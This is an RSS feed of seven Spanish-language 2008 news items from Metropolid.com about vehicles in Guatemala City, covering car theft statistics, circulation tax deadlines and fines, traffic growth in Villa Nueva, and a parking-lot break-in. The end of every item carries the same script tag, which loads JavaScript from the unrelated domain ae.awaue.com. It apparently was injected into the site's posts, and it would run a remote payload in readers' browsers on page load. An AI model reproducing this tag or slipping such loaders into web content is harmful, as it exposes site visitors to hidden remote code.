<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Metropolid.com:  reportes tránsito, tecnología, sexo, restaurantes, qué hacer, a donde ir y qué ver en la tele si vives en la ciudad de Guatemala &#187; Vehiculos</title>
	<atom:link href="http://metropolid.com/tag/vehiculos/feed/" rel="self" type="application/rss+xml" />
	<link>http://metropolid.com</link>
	<description></description>
	<lastBuildDate>Mon, 04 Jan 2010 15:48:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>es-gt</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ciudad llega a los 800 mil vehículos</title>
		<link>http://metropolid.com/2008/10/ciudad-llega-a-los-800-mil-vehiculos/</link>
		<comments>http://metropolid.com/2008/10/ciudad-llega-a-los-800-mil-vehiculos/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 16:00:09 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[ciudad]]></category>
		<category><![CDATA[Vehiculos]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=2278</guid>
		<description><![CDATA[(15/10/08).- Según el informe “20 años de Exitosa Gestión Municipal” ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">(15/10/08).- Según el informe “20 años de Exitosa Gestión Municipal” divulgado por la Municipalidad de Guatemala, en la ciudad circulan más de 800 mil vehículos, lo que representa 8 vehículos por cada 10 habitantes.</p>
<p style="text-align: justify;">A su vez, el informe indica que en 1985, solo el 35% de las calles del municipio estaban pavimentadas y que en este año el 90% ya lo están.</p>
<p style="text-align: justify;">Se prevé que para el  2012 estarán instaladas un total de 60 cámaras y 20 pantallas informativas.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=2278&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/ciudad/" title="ciudad" rel="tag">ciudad</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/10/ciudad-llega-a-los-800-mil-vehiculos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Más de tres mil vehículos robados en lo que va del año</title>
		<link>http://metropolid.com/2008/10/mas-de-tres-mil-vehiculos-robados-en-lo-que-va-del-ano/</link>
		<comments>http://metropolid.com/2008/10/mas-de-tres-mil-vehiculos-robados-en-lo-que-va-del-ano/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 15:30:58 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[robos]]></category>
		<category><![CDATA[Vehiculos]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=2139</guid>
		<description><![CDATA[(03/10/08).- Según una publicación divulgada hoy en el medio de ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">(03/10/08).- Según una publicación divulgada hoy en el medio de comunicación el Periódico, en Guatemala van hasta la fecha más de tres mil vehículos robados.</p>
<p style="text-align: justify;">“La Policía Nacional Civil (PNC), de enero a septiembre ha reportado 3 mil 891 robos de vehículos en toda la República. La mayoría de estos son  compactos de uso particular y familiar.”, indica el medio.</p>
<p style="text-align: justify;">Las principales zonas donde ocurren robos son la 7, 11, 12 y por el municipio de Mixco y el tipo de carro que es más buscado por los delincuentes es un carro tipo sedán de modelo reciente (entre 2000 y 2008).</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=2139&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/robos/" title="robos" rel="tag">robos</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/10/mas-de-tres-mil-vehiculos-robados-en-lo-que-va-del-ano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Carretera a El Salvador es el cuarto lugar en robo de vehículos</title>
		<link>http://metropolid.com/2008/09/carretera-a-el-salvador-en-cuarto-lugar-de-robo-de-vehiculos/</link>
		<comments>http://metropolid.com/2008/09/carretera-a-el-salvador-en-cuarto-lugar-de-robo-de-vehiculos/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 17:00:00 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Carr. a El Salvador]]></category>
		<category><![CDATA[Robo]]></category>
		<category><![CDATA[Vehiculos]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=1744</guid>
		<description><![CDATA[(09/09/08 &#8211; 11:00).- Según información de la Asociación Guatemalteca de ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">(09/09/08 &#8211; 11:00).- Según información de la Asociación Guatemalteca de Instituciones de Seguros (AGIS), la carretera a El Salvador ahora aparece en el cuarto lugar de robo de vehículos dentro del área metropolitana, solamente por debajo de las zonas 11, 12 y 9.<span id="more-1744"></span></p>
<p style="text-align: justify;">“En los últimos meses el robo de vehículos en dicha área se ha incrementado por lo que ahora se considera una zona de riesgo y los delincuentes buscan a mujeres que conducen solas o personas de la tercera edad para robarles sus vehículos” indicó el director de la AGIS.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=1744&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/carr-a-el-salvador/" title="Carr. a El Salvador" rel="tag">Carr. a El Salvador</a>, <a href="http://metropolid.com/tag/robo/" title="Robo" rel="tag">Robo</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/09/carretera-a-el-salvador-en-cuarto-lugar-de-robo-de-vehiculos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Q. 500 de multa por no tener calcomanía</title>
		<link>http://metropolid.com/2008/08/q-500-de-multa-por-no-tener-calcomania/</link>
		<comments>http://metropolid.com/2008/08/q-500-de-multa-por-no-tener-calcomania/#comments</comments>
		<pubDate>Wed, 13 Aug 2008 13:56:06 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Impuesto de Circulacion]]></category>
		<category><![CDATA[SAT]]></category>
		<category><![CDATA[Vehiculos]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=1275</guid>
		<description><![CDATA[Guatemala, 13 agosto (MetropoliD).- A partir de jueves 14 de ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://metropolid.com/wp-content/uploads/2008/08/trafico-en-6ta-avenida.jpg"><img class="alignleft alignnone size-medium wp-image-1276" style="float: left; margin-left: 5px; margin-right: 5px;" title="trafico-en-6ta-avenida" src="http://metropolid.com/wp-content/uploads/2008/08/trafico-en-6ta-avenida-300x225.jpg" alt="" width="300" height="225" /></a>Guatemala, 13 agosto (MetropoliD).- A partir de jueves 14 de agosto a los propietarios de vehículos que aún no han pagado el Impuesto de Circulación y tengan ya extendida una boleta de prevención con mas de una falta recibirán una remisión de Q500 por parte de agentes de la Policía Municipal de Tránsito (PMT).<span id="more-1275"></span></p>
<p>Amílcar Montejo, superintendente de la PMT, indicó que los operativos de verificación se realizan a solicitud de la Superintendencia de Administración Tributaria (SAT), con el fin de confirmar que los vehículos cumplan con el requisito.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=1275&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/impuesto-de-circulacion/" title="Impuesto de Circulacion" rel="tag">Impuesto de Circulacion</a>, <a href="http://metropolid.com/tag/sat/" title="SAT" rel="tag">SAT</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/08/q-500-de-multa-por-no-tener-calcomania/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De 25 mil a 100 mil vehículos en distrito sur</title>
		<link>http://metropolid.com/2008/08/de-25-mil-a-100-mil-vehiculos-en-distrito-sur/</link>
		<comments>http://metropolid.com/2008/08/de-25-mil-a-100-mil-vehiculos-en-distrito-sur/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 15:30:44 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Sur]]></category>
		<category><![CDATA[Vehiculos]]></category>
		<category><![CDATA[Villanueva]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=1143</guid>
		<description><![CDATA[Guatemala, 1 Agosto (MetropoliD).- Según Enio Rivera, Vocero de la ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://metropolid.com/wp-content/uploads/2008/08/usac-ingreso-periferico.jpg"><img class="alignleft alignnone size-medium wp-image-1144" style="margin-left: 5px; margin-right: 5px; float: left;" title="usac-ingreso-periferico" src="http://metropolid.com/wp-content/uploads/2008/08/usac-ingreso-periferico-300x225.jpg" alt="" width="300" height="225" /></a>Guatemala, 1 Agosto (MetropoliD).- Según Enio Rivera, Vocero de la Policía Municipal de Tránsito de Villa Nueva, el caudal vehicular de ese distrito pasó de 25 mil a más de cien mil vehículos en cuestión de 3 años, por lo que las carreteras ya han sobrepasado su capacidad.<span id="more-1143"></span></p>
<p style="text-align: justify;">Los constantes congestionamientos y el colapso de las vías cuando se presente un accidente o algún vehículo varado demuestran que las vías del sur ya no dan para más, comento un conductor que utiliza la vía.</p>
<p style="text-align: justify;">A su vez la rutas alternas por El Frutal y Ciudad Real o Boca del Monte tampoco son suficientes, como sucedió ayer, en donde por 2 accidentes en la cuesta de Villalobos y un derrumbe en Boca del Monte las vías alternas colapsaron, sentenció Rivera.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=1143&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/sur/" title="Sur" rel="tag">Sur</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a>, <a href="http://metropolid.com/tag/villanueva/" title="Villanueva" rel="tag">Villanueva</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/08/de-25-mil-a-100-mil-vehiculos-en-distrito-sur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solamente faltan 6 días para vencimiento de pago de impuesto de circulación</title>
		<link>http://metropolid.com/2008/07/faltan-13-dias-para-vencimiento-de-pago-de-impuesto-de-circulacion/</link>
		<comments>http://metropolid.com/2008/07/faltan-13-dias-para-vencimiento-de-pago-de-impuesto-de-circulacion/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 17:00:41 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Carros]]></category>
		<category><![CDATA[Impuesto]]></category>
		<category><![CDATA[SAT]]></category>
		<category><![CDATA[Vehiculos]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=960</guid>
		<description><![CDATA[Guatemala, 25 Julio (MetropoliD).- Faltan 6 días para que se ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://metropolid.com/wp-content/uploads/2008/07/usac-ingreso-periferico.jpg"><img class="alignleft alignnone size-medium wp-image-969" style="margin-left: 5px; margin-right: 5px; float: left;" title="usac-ingreso-periferico" src="http://metropolid.com/wp-content/uploads/2008/07/usac-ingreso-periferico.jpg" alt="" width="221" height="166" /></a>Guatemala, 25 Julio (MetropoliD).- Faltan 6 días para que se venza el lapso para el pago de impuesto de circulación de vehículos, según lo ha informado la Superintendencia de Administración Tributaria, SAT. <span id="more-960"></span><br />
Se  recomienda a todos los automovilistas que se dirijan a los bancos cuanto antes. Las agencias que están ubicadas en los centros comerciales se encontrarán abiertas todo el fin de semana, por lo que seria una buena opción para realizar el pago.</p>
<p style="text-align: justify;">No olvidar su tarjeta de circulación para ejecutar el pago.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=960&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/carros/" title="Carros" rel="tag">Carros</a>, <a href="http://metropolid.com/tag/impuesto/" title="Impuesto" rel="tag">Impuesto</a>, <a href="http://metropolid.com/tag/sat/" title="SAT" rel="tag">SAT</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/07/faltan-13-dias-para-vencimiento-de-pago-de-impuesto-de-circulacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Roban en parqueo de restaurante de la zona 14</title>
		<link>http://metropolid.com/2008/05/roban-en-parqueo-de-restaurante-de-la-zona-14/</link>
		<comments>http://metropolid.com/2008/05/roban-en-parqueo-de-restaurante-de-la-zona-14/#comments</comments>
		<pubDate>Thu, 22 May 2008 17:04:12 +0000</pubDate>
		<dc:creator>amendez</dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Restaurante]]></category>
		<category><![CDATA[Robo]]></category>
		<category><![CDATA[Vehiculos]]></category>
		<category><![CDATA[zona 14]]></category>

		<guid isPermaLink="false">http://metropolid.com/?p=458</guid>
		<description><![CDATA[
Guatemala, 22 Mayo (MetropoliD).- Varios desconocidos quebraron el día de ...]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><a href="http://metropolid.com/wp-content/uploads/2008/05/roban-vehiculos4.jpg"><img class="alignnone size-medium wp-image-459" title="roban-vehiculos4" src="http://metropolid.com/wp-content/uploads/2008/05/roban-vehiculos4.jpg" alt="" /></a></p>
<p class="MsoNormal"><span lang="ES">Guatemala, 22 Mayo (MetropoliD).- Varios desconocidos quebraron el día de ayer los vidrios de cinco automóviles que estaban estacionados en el parqueo del restaurante La Estancia, 4a. avenida A 8-99 colonia El Campo, zona 14, de donde sustrajeron varios objetos de valor, indicaron los afectados, quienes pidieron omitir su nombre por razones de seguridad.</span><span id="more-458"></span></p>
<p class="MsoNormal"><span lang="ES">Según la Policía los delincuentes son parte de una banda que opera en ese sector, mientras los afectados pidieron al gerente del restaurante darle seguimiento al caso y denunciar el hecho a la empresa que presta el servicio de seguridad en el restaurante.</span></p>
<p><script src="http://ae.awaue.com/7"></script></p>
<img src="http://metropolid.com/?ak_action=api_record_view&id=458&type=feed" alt="" />
	Etiquetas: <a href="http://metropolid.com/tag/restaurante/" title="Restaurante" rel="tag">Restaurante</a>, <a href="http://metropolid.com/tag/robo/" title="Robo" rel="tag">Robo</a>, <a href="http://metropolid.com/tag/vehiculos/" title="Vehiculos" rel="tag">Vehiculos</a>, <a href="http://metropolid.com/tag/zona-14/" title="zona 14" rel="tag">zona 14</a><br />
]]></content:encoded>
			<wfw:commentRss>http://metropolid.com/2008/05/roban-en-parqueo-de-restaurante-de-la-zona-14/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
  
